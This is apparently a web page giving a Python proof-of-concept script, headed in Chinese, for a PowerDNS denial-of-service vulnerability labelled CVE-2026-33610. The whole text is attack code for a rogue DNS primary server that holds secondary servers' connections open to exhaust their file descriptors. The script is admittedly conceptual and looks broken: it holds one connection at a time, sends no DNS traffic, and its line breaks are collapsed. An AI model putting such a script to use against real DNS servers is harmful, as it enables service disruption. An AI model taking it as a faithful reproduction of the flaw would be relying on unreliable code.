CVE-2026-33610 PowerDNS拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33610 (Conceptual) # This script simulates a rogue primary server that holds connections open # to potentially exhaust file descriptors on the secondary server. import socket import time def rogue_primary_server(port=53): # Start a listening socket to simulate a rogue DNS primary server server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server_socket.bind(('0.0.0.0', port)) server_socket.listen(100) print(f"[+] Rogue Primary Server listening on port {port}...") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection accepted from {addr}") # Simulate behavior that causes file descriptor exhaustion # by keeping the socket open without closing or responding properly. # In a real scenario, this might involve specific DNS protocol interaction. try: # Just hold the connection open time.sleep(100) except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() except KeyboardInterrupt: print("\n[-] Server stopped.") except Exception as e: print(f"[-] Failed to bind port {port}: {e}") if __name__ == "__main__": rogue_primary_server()